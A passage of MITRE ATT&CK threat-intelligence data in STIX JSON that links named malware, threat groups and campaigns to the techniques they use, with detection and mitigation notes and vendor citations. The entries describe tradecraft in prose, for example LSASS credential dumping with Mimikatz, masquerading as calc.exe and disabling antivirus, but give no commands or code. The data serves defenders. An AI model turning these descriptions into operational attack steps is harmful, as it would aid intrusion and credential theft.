information--including disk names, total space, and remaining space--to create a hardware profile GUID which acts as a system identifier for operators.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--81ab128a-9c3f-4237-b6b1-7f2b681a8719", "created": "2022-10-11T18:35:53.192Z", "revoked": false, "external_references": [{"source_name": "Cybereason StrifeWater Feb 2022", "description": "Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.", "url": "https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T18:35:53.192Z", "description": "[StrifeWater](https://attack.mitre.org/software/S1034) has been named `calc.exe` to appear as a legitimate calculator program.(Citation: Cybereason StrifeWater Feb 2022)", "relationship_type": "uses", "source_ref": "malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81b1a6cd-2910-4fd2-997e-c45c52a8571b", "type": "relationship", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.853Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81bace85-005e-4edd-bb71-ca7a57bc8a07", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos NavRAT May 2018", "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", "url": "https://blog.talosintelligence.com/2018/05/navrat.html"}], "modified": "2020-03-16T17:19:47.448Z", "description": "[NavRAT](https://attack.mitre.org/software/S0247) copies itself into a running Internet Explorer process to evade detection.(Citation: Talos NavRAT May 2018)", "relationship_type": "uses", "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81bb4898-aaa2-4dff-9af8-a97e6b69a95a", "type": "relationship", "created": "2019-06-25T12:31:57.676Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-08-13T20:02:49.812Z", "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", "relationship_type": "mitigates", "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--81be67f1-3225-49ec-bbcb-cc267800070e", "created": "2023-07-20T15:36:37.887Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-20T15:37:08.887Z", "description": "Monitor network data for uncommon data flows. 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(2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T23:53:56.992Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has used the Task Manager process to target LSASS process memory in order to obtain NTLM password hashes. [APT5](https://attack.mitre.org/groups/G1023) has also dumped clear text passwords and hashes from memory using [Mimikatz](https://attack.mitre.org/software/S0002) hosted through an RDP mapped drive.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81cf0260-877d-47ba-b98d-5d2cea453cdf", "type": "relationship", "created": "2021-02-03T19:12:30.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion EvilNum May 2020", "url": "https://www.prevailion.com/phantom-in-the-command-shell-2/", "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:53.244Z", "description": "(Citation: Prevailion EvilNum May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", "target_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--81d08c26-f2bf-463b-9db9-4f1f9dc5205b", "created": "2022-03-30T14:26:51.836Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.", "modified": "2022-04-19T23:59:49.467Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81d5c85f-ea7c-47a2-879c-df34e93d88c2", "type": "relationship", "created": "2019-10-11T16:13:19.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "source_name": "FireEye FIN7 Oct 2019"}], "modified": "2019-10-11T16:13:19.709Z", "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) has the capability of deleting local files.(Citation: FireEye FIN7 Oct 2019)", "relationship_type": "uses", "source_ref": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--81d62795-b28f-4146-b4ff-b74da5cf514b", "created": "2022-07-29T19:49:34.051Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cylance Dust Storm", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of deleting Registry keys used for persistence.(Citation: Cylance Dust Storm)", "modified": "2022-07-29T19:49:34.051Z", "relationship_type": "uses", "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", "target_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81d74373-fcaa-4089-9715-1550f012739d", "type": "relationship", "created": "2021-09-21T15:10:56.088Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks GOLD KINGSWOOD September 2018", "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}], "modified": "2021-10-15T20:31:22.038Z", "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) can identify the IP of a compromised system.(Citation: Secureworks GOLD KINGSWOOD September 2018)", "relationship_type": "uses", "source_ref": "malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81dade3f-217d-41b8-8f70-b8695fc1d3f7", "type": "relationship", "created": "2020-03-13T19:41:38.021Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T19:41:38.021Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--81dc6d45-2afe-4646-ad04-cc40ca768f2c", "created": "2022-03-30T14:26:51.848Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft Driver Block Rules", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). 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Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T19:39:17.095Z", "description": "[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can append malicious components to the `tmp/tmpmnt/bin/samba_upgrade.tar` archive inside the factory reset partition in attempt to persist post reset.(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--19256855-65e9-48f2-8b74-9f3d0a994428", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--81e6eb4d-4a94-4416-8a45-b54e9cafda9d", "created": "2023-02-08T18:41:39.800Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-08T18:46:50.808Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) can detect EDR userland hooks.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--81eaf78c-2282-4e86-baa9-820020a54031", "created": "2022-07-07T14:26:52.432Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T18:48:48.311Z", "description": "[POLONIUM](https://attack.mitre.org/groups/G1005) has used the AirVPN service for operational activity.(Citation: Microsoft POLONIUM June 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81f979db-6420-4686-9239-085ff2a8cc53", "type": "relationship", "created": "2021-01-25T17:27:10.897Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Deep Dive Solorigate January 2021", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}], "modified": "2021-01-25T17:27:10.897Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) created VBScripts that were named after existing services or folders to blend into legitimate activities.(Citation: Microsoft Deep Dive Solorigate January 2021) ", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81fcae09-a738-4922-9553-aad21e2b940b", "type": "relationship", "created": "2021-04-09T15:11:36.654Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}], "modified": "2021-04-09T15:11:36.654Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) has downloaded scripts from GitHub.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8200c438-ec29-4f0e-81c3-9a058c735748", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014"}], "modified": "2020-06-02T16:14:00.621Z", "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.(Citation: F-Secure BlackEnergy 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8205a216-c51d-4497-8874-f2de40526621", "created": "2022-04-09T14:54:27.154Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can attempt to uninstall Kaspersky Antivirus or remove the Kaspersky license; it can also add all files and folders related to the attack to the Windows Defender exclusion list.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-09T15:48:49.001Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82066933-1c34-4d79-8e3e-b0e32492cdf0", "type": "relationship", "created": "2021-08-12T15:10:41.474Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sogeti CERT ESEC Babuk March 2021", "url": "https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf", "description": "Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."}, {"source_name": "McAfee Babuk February 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf", "description": "Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."}], "modified": "2021-10-04T13:25:58.152Z", "description": "[Babuk](https://attack.mitre.org/software/S0638) has the ability to use the command line to control execution on compromised hosts.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)", "relationship_type": "uses", "source_ref": "malware--61c7a91a-0b83-461d-ad32-75d96eed4a09", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--820a35e0-11fe-42c4-84d2-a29cc5026426", "created": "2022-09-30T19:17:35.147Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T19:17:35.147Z", "description": "During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used a watering hole attack on a popular software reseller to exploit the then-zero-day Internet Explorer vulnerability CVE-2014-0322.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Remsec IOCs", "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"}, {"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}], "modified": "2020-03-11T17:45:33.766Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Technical Analysis)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--82168e77-bbd9-4da4-b163-7f813df06426", "created": "2019-01-30T15:27:06.718Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT1 Appendix", "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:09:09.274Z", "description": "[Seasalt](https://attack.mitre.org/software/S0345) obfuscates configuration data.(Citation: Mandiant APT1 Appendix)", "relationship_type": "uses", "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8217d878-2b53-472d-bcf0-c22c5d1af1bc", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access network configuration content)", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8217db4e-1bd7-4316-8c9d-cd52b6e36dbe", "created": "2024-03-01T19:26:47.914Z", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. 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Retrieved October 14, 2020."}], "modified": "2020-11-10T18:04:03.780Z", "description": "(Citation: CrowdStrike Grim Spider May 2019)(Citation: Sophos New Ryuk Attack October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8265aa36-4e63-4ee9-8cfe-4ed82839efce", "type": "relationship", "created": "2021-08-24T22:12:46.690Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Kobalos Jan 2021", "description": "M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. 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Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.765Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has enumerated network shares on a compromised host.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--82697b12-31e0-4a9f-a394-d5555b0da05f", "created": "2022-04-10T18:47:32.449Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CrowdStrike AQUATIC PANDA December 2021", "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has acquired and used [njRAT](https://attack.mitre.org/software/S0385) in its operations.(Citation: CrowdStrike AQUATIC PANDA December 2021)", "modified": "2022-04-15T15:35:04.753Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11", "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 